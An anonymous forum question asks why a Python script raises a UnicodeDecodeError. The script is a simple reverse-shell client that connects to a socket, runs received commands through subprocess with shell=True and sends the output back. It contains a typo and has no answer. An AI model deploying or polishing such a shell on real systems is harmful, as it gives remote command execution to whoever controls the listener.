I cannot fix it can someone help it says in python UnicodeDecodeError utf-8 codec can t decode byte 0x85 in position 20 invalid start byte

0 votes
# this is the code

import socket

import os

import subprocess

host = 'localhost'

port = 15000

s = socket.socket()

s.connect((host, port))

 

while True:

    data = s.recv(2048)

    if data [:2].decode("utf-8") == 'cd' :

        os.chdir(data [3:].decode("utf-8"))

    if len(data) > 0:

        cmd = subprocess.Popen(data [:].decode("utf8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocss.PIPE)

        output_bytes = cmd.stdout.read() + cmd.stderr.read()     

        output_str = str(output_bytes, "utf-8")

        s.send(str.encode(output_str + str(os.getcwd()) + '>'))

        print(output_str)
Mar 10, 2021 in Python by anonymous

edited Mar 4 11 views

No answer to this question. Be the first to respond.

Your answer

Your name to display (optional):
Privacy: Your email address will only be used for sending these notifications.
webinar REGISTER FOR FREE WEBINAR X
REGISTER NOW
webinar_success Thank you for registering Join Edureka Meetup community for 100+ Free Webinars each month JOIN MEETUP GROUP